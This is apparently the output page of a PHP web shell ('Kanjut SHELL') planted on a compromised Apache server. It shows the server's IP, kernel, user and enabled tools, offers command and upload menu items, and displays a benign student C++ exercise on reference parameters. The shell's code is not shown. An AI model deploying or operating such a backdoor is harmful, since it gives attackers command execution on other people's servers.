Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.144.47.115
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/jljustice/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/jljustice/bookex.cpp
// Problem 6.23 in chapter 6


#include <iostream>
using namespace std;

void func1(int &, int &);
void func2(int &, int &, int &);
void func3( int, int, int);

int main()
{
 int x = 0,
     y = 0,
     z = 0;

 cout << x << " " << y << " " << z << endl;
 func1(x,y);
 cout << x << " " << y << " " << z << endl;
 func2(x, y, z);
 cout << x << " " << y << " " << z << endl;
 func3(x, y, z); 
 cout << x << " " << y << " " << z << endl;
 return 0;
}

void func1(int &a, int &b)
{
 cout << "Enter two numbers ";
 cin >> a >> b;
}

void func2(int &a, int &b, int &c)
{
 b++;
 c--;
 a = b + c;
}

void func3( int a, int b, int c)
{
 a = b - c;
}

Stv3n404 - 2023